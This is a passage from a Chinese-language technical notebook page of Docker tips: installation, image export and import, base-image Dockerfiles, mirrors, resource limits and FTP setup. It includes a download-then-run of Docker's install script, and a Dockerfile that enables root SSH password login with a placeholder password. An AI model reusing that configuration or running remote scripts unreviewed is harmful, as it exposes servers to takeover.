按需分配容器 过期自动销毁\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ab\" class=\"md-nav__link\">\n    在容器A中使用别名访问容器B\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker1802start\" class=\"md-nav__link\">\n    修复Docker更新到18.02后部分容器无法start的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-exec-it\" class=\"md-nav__link\">\n    解决docker exec -it进入容器屏幕大小不对的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-pull\" class=\"md-nav__link\">\n    不使用docker pull也能下载到镜像\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-daemon\" class=\"md-nav__link\">\n    启动另一个Docker Daemon进程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dockergitlab-ci\" class=\"md-nav__link\">\n    配置使用Docker版本的Gitlab CI\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"配置使用Docker版本的Gitlab CI\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#pullrunner\" class=\"md-nav__link\">\n    第一步当然是pull人家的runner镜像咯\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#citoken\" class=\"md-nav__link\">\n    第二步 获取CI连接时需要的token\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    第三步 注册以生成初始的配置信息\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    第四步 修改配置文件\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#runner\" class=\"md-nav__link\">\n    第五步 启动runner容器\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#repo\" class=\"md-nav__link\">\n    第六步 创建一个新的repo来测试一下吧\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#socat\" class=\"md-nav__link\">\n    为已经存在的容器创建临时端口映射 socat\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    查看所有容器内存占用 并排序\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    运行中的容器添加目录挂载\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker32\" class=\"md-nav__link\">\n    Docker使用32位镜像\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#varlibdocker\" class=\"md-nav__link\">\n    找到/var/lib/docker中容器的数据存储目录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dockermacvlan\" class=\"md-nav__link\">\n    搬运服务器后网段变化 直接修改Docker底层数据库和配置文件修复macvlan网络\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#2\" class=\"md-nav__link\">\n    获取2个月前退出的容器列表，以空格分隔\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ping-ipnsenter\" class=\"md-nav__link\">\n    容器内没有ping, ip？直接nsenter进去看看\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#macvlanip_2\" class=\"md-nav__link\">\n    为macvlan的容器配置只允许IP段访问\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#varlibdocker_1\" class=\"md-nav__link\">\n    从/var/lib/docker提取容器开始时间\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip_1\" class=\"md-nav__link\">\n    固定容器的IP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip-etchosts\" class=\"md-nav__link\">\n    获取容器IP 更新主机/etc/hosts\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-web\" class=\"md-nav__link\">\n    Docker容器禁止主动联网 但对外提供web服务\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Docker容器禁止主动联网 但对外提供web服务\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    简单方案 直接删除默认路由\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#nginx\" class=\"md-nav__link\">\n    复杂方案 创建个内部网络 Nginx转发\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#registryapi\" class=\"md-nav__link\">\n    私有registry的api\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-pull_1\" class=\"md-nav__link\">\n    配置docker pull使用代理\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-daemon_1\" class=\"md-nav__link\">\n    配置docker daemon退出时不自动关闭容器\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n  <h1>Docker</h1>\n\n<h2 id=\"_1\">搬运镜像<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">IMAGE</span><span class=\"o\">=</span><span class=\"n\">mysql</span>\n<span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">save</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">IMAGE</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"mi\">7</span><span class=\"n\">z</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">si</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">IMAGE</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"mi\">7</span><span class=\"n\">z</span>\n<span class=\"mi\">7</span><span class=\"n\">z</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">so</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">IMAGE</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"mi\">7</span><span class=\"n\">z</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"nb\">load</span>\n</code></pre></div>\n\n<h2 id=\"docker\">安装Docker<a class=\"headerlink\" href=\"#docker\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>curl -fsSL https://get.docker.com -o get-docker.sh\nsh get-docker.sh --mirror Aliyun\n</code></pre></div>\n\n<h2 id=\"myubuntu\">myubuntu 基础镜像<a class=\"headerlink\" href=\"#myubuntu\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG 时区 timezone </p>\n<p>简单地将Docker当成虚拟机来使用的话，自然要准备个好用的基础镜像咯</p>\n<p>基于目前最新的ubuntu18.04，配置apt源、pip源、时区、ssh允许密码登录</p>\n<p>Dockerfile:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">FROM</span><span class=\"w\"> </span><span class=\"nl\">ubuntu</span><span class=\"p\">:</span><span class=\"mf\">18.04</span>\n<span class=\"n\">RUN</span><span class=\"w\"> </span><span class=\"n\">sed</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"s1\">&#39;s/security.ubuntu.com/mirrors.aliyun.com/g&#39;</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">apt</span><span class=\"o\">/</span><span class=\"n\">sources</span><span class=\"p\">.</span><span class=\"n\">list</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span><span class=\"w\"> </span><span class=\"err\">\\</span>\n<span class=\"w\">    </span><span class=\"n\">sed</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"s1\">&#39;s/archive.ubuntu.com/mirrors.aliyun.com/g&#39;</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">apt</span><span class=\"o\">/</span><span class=\"n\">sources</span><span class=\"p\">.</span><span class=\"n\">list</span><span class=\"w\"> </span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">修改apt源</span>\n<span class=\"n\">RUN</span><span class=\"w\"> </span><span class=\"n\">apt</span><span class=\"w\"> </span><span class=\"k\">update</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span><span class=\"w\"> </span><span class=\"n\">apt</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">y</span><span class=\"w\"> </span><span class=\"n\">ssh</span><span class=\"w\"> </span><span class=\"n\">curl</span><span class=\"w\"> </span><span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"n\">net</span><span class=\"o\">-</span><span class=\"n\">tools</span><span class=\"w\"> </span><span class=\"n\">iputils</span><span class=\"o\">-</span><span class=\"n\">ping</span><span class=\"w\"> </span><span class=\"n\">netcat</span><span class=\"w\"> </span><span class=\"n\">python3</span><span class=\"o\">-</span><span class=\"n\">pip</span><span class=\"w\"> </span><span class=\"n\">python</span><span class=\"o\">-</span><span class=\"n\">pip</span><span class=\"w\"> </span><span class=\"n\">nano</span><span class=\"w\"> </span><span class=\"n\">vim</span><span class=\"w\"> </span><span class=\"n\">tzdata</span><span class=\"w\"> </span><span class=\"n\">screen</span><span class=\"w\"> </span><span class=\"n\">psmisc</span>\n<span class=\"n\">RUN</span><span class=\"w\"> </span><span class=\"k\">ln</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">sf</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">usr</span><span class=\"o\">/</span><span class=\"n\">share</span><span class=\"o\">/</span><span class=\"n\">zoneinfo</span><span class=\"o\">/</span><span class=\"n\">Asia</span><span class=\"o\">/</span><span class=\"n\">Shanghai</span><span class=\"w\">  </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"k\">localtime</span><span class=\"w\"> </span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">修改时区</span>\n<span class=\"n\">RUN</span><span class=\"w\"> </span><span class=\"n\">mkdir</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">p</span><span class=\"w\"> </span><span class=\"o\">~/</span><span class=\"p\">.</span><span class=\"n\">pip</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span><span class=\"w\"> </span><span class=\"n\">echo</span><span class=\"w\"> </span><span class=\"s1\">&#39;[global]\\nindex-url = http://pypi.doubanio.com/simple/\\n[install]\\ntrusted-host=pypi.doubanio.com\\n&#39;</span><span class=\"o\">&gt;</span><span class=\"w\">  </span><span class=\"o\">~/</span><span class=\"p\">.</span><span class=\"n\">pip</span><span class=\"o\">/</span><span class=\"n\">pip</span><span class=\"p\">.</span><span class=\"n\">conf</span>\n<span class=\"n\">RUN</span><span class=\"w\"> </span><span class=\"n\">sed</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"s1\">&#39;s/prohibit-password/yes/g&#39;</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">ssh</span><span class=\"o\">/</span><span class=\"n\">sshd_config</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span><span class=\"w\"> </span><span class=\"n\">sed</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"s1\">&#39;s/#PermitRootLogin/PermitRootLogin/g&#39;</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">ssh</span><span class=\"o\">/</span><span class=\"n\">sshd_config</span><span class=\"w\"> </span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">允许root用户密码登录</span>\n<span class=\"n\">RUN</span><span class=\"w\"> </span><span class=\"n\">echo</span><span class=\"w\"> </span><span class=\"nl\">root</span><span class=\"p\">:</span><span class=\"n\">badpassword</span><span class=\"o\">|</span><span class=\"n\">chpasswd</span><span class=\"w\"> </span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">记得修改这里的密码</span>\n<span class=\"k\">ADD</span><span class=\"w\"> </span><span class=\"n\">run</span><span class=\"p\">.</span><span class=\"n\">sh</span><span class=\"w\"> </span><span class=\"o\">/</span>\n<span class=\"n\">RUN</span><span class=\"w\"> </span><span class=\"n\">chmod</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">run</span><span class=\"p\">.</span><span class=\"n\">sh</span>\n<span class=\"n\">CMD</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">run</span><span class=\"p\">.</span><span class=\"n\">sh</span>\n</code></pre></div>\n\n<p>run.sh:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\nservice<span class=\"w\"> </span>ssh<span class=\"w\"> </span>start\n<span class=\"c1\"># 在容器内安装了mysql等之后可以在run.sh这里添加相应的启动命令</span>\nsleep<span class=\"w\"> </span>infinity\n</code></pre></div>\n\n<p>build命令：</p>\n<div class=\"codehilite\"><pre><span></span><code>docker build -t myubuntu18 .\n</code></pre></div>\n\n<h2 id=\"install\">Install 安装<a class=\"headerlink\" href=\"#install\" title=\"Permanent link\">&para;</a></h2>\n<p>建议参见<a href=\"https://github.com/zjuchenyuan/notebook/blob/master/code/ssprivoxy.txt\">如何翻墙</a>，部署http proxy</p>\n<p>安装之前，建议修改apt源</p>\n<p>安装之前，或许要对内核升级，如果执行安装脚本发出了对aufs的警告，请先看下面的 <em>解决aufs的问题</em></p>\n<p>安装命令： </p>\n<div class=\"codehilite\"><pre><span></span><code>curl -fsSL get.docker.com -o get-docker.sh\nsh get-docker.sh --mirror Aliyun\n</code></pre></div>\n\n<p>其中最后一步的apt-get install docker-engine耗时较长，看起来很像卡死，需要耐心等待</p>\n<p>安装后执行docker version，没有报错即可</p>\n<h3 id=\"aufs\">解决aufs的问题<a class=\"headerlink\" href=\"#aufs\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>apt-get install lxc wget bsdtar curl\napt-get install linux-image-extra-$(uname -r)\nmodprobe aufs\n</code></pre></div>\n\n<hr />\n<h2 id=\"_2\">加速镜像下载<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<p>在执行以下操作之前，请检查docker的版本：<code>docker -v</code></p>\n<p>如果你的docker版本为1.6.2,请参考下方 卸载docker</p>\n</blockquote>\n<h2 id=\"_3\">建议使用阿里云的镜像源<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">sudo</span><span class=\"w\"> </span><span class=\"n\">mkdir</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">p</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">docker</span>\n<span class=\"n\">sudo</span><span class=\"w\"> </span><span class=\"n\">tee</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">docker</span><span class=\"o\">/</span><span class=\"n\">daemon</span><span class=\"o\">.</span><span class=\"n\">json</span><span class=\"w\"> </span><span class=\"o\">&lt;&lt;-</span><span class=\"s1\">&#39;EOF&#39;</span>\n<span class=\"p\">{</span>\n<span class=\"w\">  </span><span class=\"s2\">&quot;registry-mirrors&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"p\">[</span><span class=\"s2\">&quot;https://h0kyslzs.mirror.aliyuncs.com&quot;</span><span class=\"p\">]</span>\n<span class=\"p\">}</span>\n<span class=\"n\">EOF</span>\n<span class=\"n\">sudo</span><span class=\"w\"> </span><span class=\"n\">systemctl</span><span class=\"w\"> </span><span class=\"n\">daemon</span><span class=\"o\">-</span><span class=\"n\">reload</span>\n<span class=\"n\">sudo</span><span class=\"w\"> </span><span class=\"n\">systemctl</span><span class=\"w\"> </span><span class=\"n\">restart</span><span class=\"w\"> </span><span class=\"n\">docker</span>\n</code></pre></div>\n\n<p>另外你也可以使用USTC的镜像源：参考 https://lug.ustc.edu.cn/wiki/mirrors/help/docker</p>\n<hr />\n<h3 id=\"docker_1\">Docker旧版本卸载<a class=\"headerlink\" href=\"#docker_1\" title=\"Permanent link\">&para;</a></h3>\n<p>如果你的docker是使用apt-get install docker.io安装的，先执行以下命令卸载：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">apt</span><span class=\"o\">-</span><span class=\"n\">get</span><span class=\"w\"> </span><span class=\"n\">remove</span><span class=\"w\"> </span><span class=\"n\">docker</span><span class=\"o\">.</span><span class=\"n\">io</span>\n<span class=\"n\">apt</span><span class=\"o\">-</span><span class=\"n\">get</span><span class=\"w\"> </span><span class=\"n\">autoremove</span>\n<span class=\"n\">rm</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">rf</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"n\">lib</span><span class=\"o\">/</span><span class=\"n\">docker</span>\n</code></pre></div>\n\n<p>然后就可以执行安装命令了</p>\n<hr />\n<h2 id=\"ip\">获得容器的ip<a class=\"headerlink\" href=\"#ip\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG getip</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"x\">alias getip=&quot;docker inspect  --format &#39;</span><span class=\"cp\">{{</span><span class=\"nv\">.NetworkSettings.IPAddress</span><span class=\"cp\">}}</span><span class=\"x\">&#39; &quot;</span>\n\n<span class=\"x\">getip 容器名称</span>\n</code></pre></div>\n\n<p>这种方案对macvlan的容器不适用，参见 获取macvlan容器的IP</p>\n<hr />\n<h2 id=\"_4\">导出导入<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"-save\">搬运镜像&ndash;save导出镜像<a class=\"headerlink\" href=\"#-save\" title=\"Permanent link\">&para;</a></h3>\n<p>由于网络带宽(流量)往往是瓶颈资源，所以产生更小的压缩文件很有必要，这里我们可以生成 tar.7z 文件：<code>apt-get install -y p7zip-full</code></p>\n<div class=\"codehilite\"><pre><span></span><code>docker save 镜像名称 | 7z a -si 导出文件名.tar.7z\n</code></pre></div>\n\n<p>这是生成tar.gz文件：</p>\n<div class=\"codehilite\"><pre><span></span><code>docker save 镜像名称 | gzip &gt;导出文件名.tar.gz\n</code></pre></div>\n\n<h3 id=\"-load\">搬运镜像&ndash;load载入镜像<a class=\"headerlink\" href=\"#-load\" title=\"Permanent link\">&para;</a></h3>\n<p>如果是 tar.7z 文件，需要调用 7z 命令解压：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"mi\">7</span><span class=\"n\">z</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">so</span><span class=\"w\"> </span><span class=\"err\">文件名</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"mi\">7</span><span class=\"n\">z</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"nb\">load</span>\n</code></pre></div>\n\n<p>如果是 tar.gz 文件，可以直接载入：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"nb\">load</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"err\">文件名</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">gz</span>\n</code></pre></div>\n\n<h3 id=\"export\">Export导出容器 并不常用<a class=\"headerlink\" href=\"#export\" title=\"Permanent link\">&para;</a></h3>\n<p>直接导出容器并不常用，建议<code>docker commit 容器名称 保存成的镜像名称</code>，然后导出镜像</p>\n<p>导出容器得到的是tar文件，没有进行压缩，我们需要手动执行压缩</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"k\">export</span><span class=\"w\"> </span><span class=\"err\">容器的名称或</span><span class=\"n\">ID</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"n\">gzip</span><span class=\"w\"> </span><span class=\"o\">&gt;</span><span class=\"err\">导出文件名</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"n\">gz</span>\n</code></pre></div>\n\n<h3 id=\"import\">Import导入容器<a class=\"headerlink\" href=\"#import\" title=\"Permanent link\">&para;</a></h3>\n<p>虽然上一步我们压缩了，但docker可以直接import，不需要用gunzip</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">docker</span> <span class=\"kn\">import</span> <span class=\"nn\">文件名</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"iptables-failed-no-chiantargetmatch-by-that-name\">解决iptables failed - No chian/target/match by that name<a class=\"headerlink\" href=\"#iptables-failed-no-chiantargetmatch-by-that-name\" title=\"Permanent link\">&para;</a></h2>\n<p>如果docker安装的时候没有自动把需要的规则链加上，可以手动添加</p>\n<div class=\"codehilite\"><pre><span></span><code>iptables -t nat -N DOCKER\niptables -t filter -N DOCKER\n</code></pre></div>\n\n<p>附：如果需要删除链条，可以用<code>iptables-save</code>导出后手动编辑后<code>iptables-restore</code></p>\n<hr />\n<h2 id=\"docker_2\">迁移Docker文件夹到其他硬盘<a class=\"headerlink\" href=\"#docker_2\" title=\"Permanent link\">&para;</a></h2>\n<p>当镜像多了起来的时候，/var/lib所在的磁盘分区很可能被占满，这时候要考虑迁移到其他硬盘，此处以迁移到<code>/home/docker</code>为例说明</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"c1\"># 首先记得关闭服务</span>\nservice<span class=\"w\"> </span>docker<span class=\"w\"> </span>stop\nmv<span class=\"w\"> </span>/var/lib/docker<span class=\"w\"> </span>/home/\n<span class=\"c1\"># 然后修改服务配置文件/etc/default/docker，此处建议手动vim编辑，在启动参数中加入这个：</span>\n<span class=\"c1\">#    --graph=&#39;/home/docker&#39;</span>\n<span class=\"nb\">echo</span><span class=\"w\"> </span>-e<span class=\"w\"> </span><span class=\"s2\">&quot;\\nDOCKER_OPTS=\\&quot;--graph=&#39;/home/docker&#39;\\&quot;&quot;</span><span class=\"w\"> </span>&gt;&gt;<span class=\"w\"> </span>/etc/default/docker\n</code></pre></div>\n\n<hr />\n<h2 id=\"debianifconfigkillall\">解决debian等容器没有ifconfig,killall的问题<a class=\"headerlink\" href=\"#debianifconfigkillall\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">apt</span><span class=\"o\">-</span><span class=\"n\">get</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"n\">net</span><span class=\"o\">-</span><span class=\"n\">tools</span><span class=\"w\"> </span><span class=\"n\">psmisc</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_5\">设置容器低权限用户运行<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG user 安全最佳实践</p>\n<p>在Dockerfile中加入</p>\n<div class=\"codehilite\"><pre><span></span><code>User nobody\n</code></pre></div>\n\n<p>容器运行后exec进去默认是nobody用户，并不能su啥的，这时候exec需要带参数-u表示用指定用户身份进入容器：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"k\">exec</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">t</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">u</span><span class=\"w\"> </span><span class=\"nv\">root</span><span class=\"w\"> </span>容器名称<span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">bin</span><span class=\"o\">/</span><span class=\"nv\">bash</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"etcresolvconfetchosts\">设置容器/etc/resolv.conf和/etc/hosts<a class=\"headerlink\" href=\"#etcresolvconfetchosts\" title=\"Permanent link\">&para;</a></h2>\n<p>在容器中这两个文件是以mount形式挂载的，不能unmount；即使进行修改，容器重启后修改就丢失了</p>\n<p>其实这两个文件应该在容器创建的时候指定参数<code>--dns</code>和<code>--add-host</code>来加以控制：</p>\n<div class=\"codehilite\"><pre><span></span><code>docker run -d --dns 114.114.114.114 --add-host example.com:1.2.3.4 容器名称\n</code></pre></div>\n\n<hr />\n<h2 id=\"_6\">容器限制参数设置<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h2>\n<p>当容器是开放给不可信域的时候(如部署一个CTF的pwn题目)，虽然容器逃逸0-day我也没办法，但限制一下容器资源占用防止搅屎也是很有必要的</p>\n<div class=\"codehilite\"><pre><span></span><code>--cpu-shares 512 --cpu-period=100000 --cpu-quota=50000 --memory 104857600 --ulimit=nofile=65536 --pids-limit=200 --blkio-weight=512 --restart=&quot;always&quot;\n</code></pre></div>\n\n<p>效果简介：如上配置最多占用 50% 单个 CPU ，最多占用100MB物理内存，容器内进程数目最多200个</p>\n<p><code>--cpu-shares</code>表示相对利用占比，不设置的默认值为1024，单个CPU是1024，只有当容器试图占用100%的CPU时才会体现作用，举个例子：</p>\n<blockquote>\n<p>From: http://blog.opskumu.com/docker-cpu-limit.html\n假如一个 1core 的主机运行 3 个 container，其中一个 cpu-shares 设置为 1024，而其它 cpu-shares 被设置成 512。当 3 个容器中的进程尝试使用 100% CPU 的时候「尝试使用 100% CPU 很重要，此时才可以体现设置值」，则设置 1024 的容器会占用 50% 的 CPU 时间，其他两个容器则只能分别占用到 25% 的 CPU 时间。\n如果主机是 3core，运行 3 个容器，两个 cpu-shares 设置为 512，一个设置为 1024，则此时每个 container 都能占用其中一个 CPU 为 100%。</p>\n</blockquote>\n<p><code>--cpu-period</code>表示按多少秒分片，例如设置为100000就是按100ms分割，同时设置<code>--cpu-quota</code>为50000就是50ms，效果是同时只能使用0.5个CPU</p>\n<p><code>--memory</code>限制容器使用的物理内存，当容器超出时，其中的进程会被kill，详细请参考http://blog.opskumu.com/docker-memory-limit.html</p>\n<p><code>--blkio-weight</code>表示IO相对权重，详细请参考<a href=\"http://blog.opskumu.com/docker-io-limit.html\">http://blog.opskumu.com/docker-io-limit.html</a></p>\n<hr />\n<h2 id=\"ftp\">快速部署ftp<a class=\"headerlink\" href=\"#ftp\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG vsftpd</p>\n<p>vsftpd的配置真是让人头疼，不如<code>docker search ftp</code>一番，然后google一下找到对应的<a href=\"https://hub.docker.com/r/stilliard/pure-ftpd/\">Docker Hub页面</a></p>\n<p>使用步骤：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"nv\">run</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">d</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">name</span><span class=\"w\"> </span><span class=\"nv\">ftpd_server</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">p</span><span class=\"w\"> </span><span class=\"mi\">21</span>:<span class=\"mi\">21</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">p</span><span class=\"w\"> </span><span class=\"mi\">30000</span><span class=\"o\">-</span><span class=\"mi\">30009</span>:<span class=\"mi\">30000</span><span class=\"o\">-</span><span class=\"mi\">30009</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">e</span><span class=\"w\"> </span><span class=\"s2\">&quot;PUBLICHOST=localhost&quot;</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">v</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">path</span><span class=\"o\">/</span><span class=\"nv\">to</span><span class=\"o\">/</span><span class=\"nv\">the_ftp_directory</span>:<span class=\"o\">/</span><span class=\"nv\">data</span><span class=\"w\"> </span><span class=\"nv\">stilliard</span><span class=\"o\">/</span><span class=\"nv\">pure</span><span class=\"o\">-</span><span class=\"nv\">ftpd</span>:<span class=\"nv\">hardened</span>\n<span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"k\">exec</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">it</span><span class=\"w\"> </span><span class=\"nv\">ftpd_server</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">bin</span><span class=\"o\">/</span><span class=\"nv\">bash</span>\n#进入容器后创建用户\n<span class=\"nv\">pure</span><span class=\"o\">-</span><span class=\"nv\">pw</span><span class=\"w\"> </span><span class=\"nv\">useradd</span><span class=\"w\"> </span><span class=\"nv\">bob</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">f</span><span class=\"w\"> 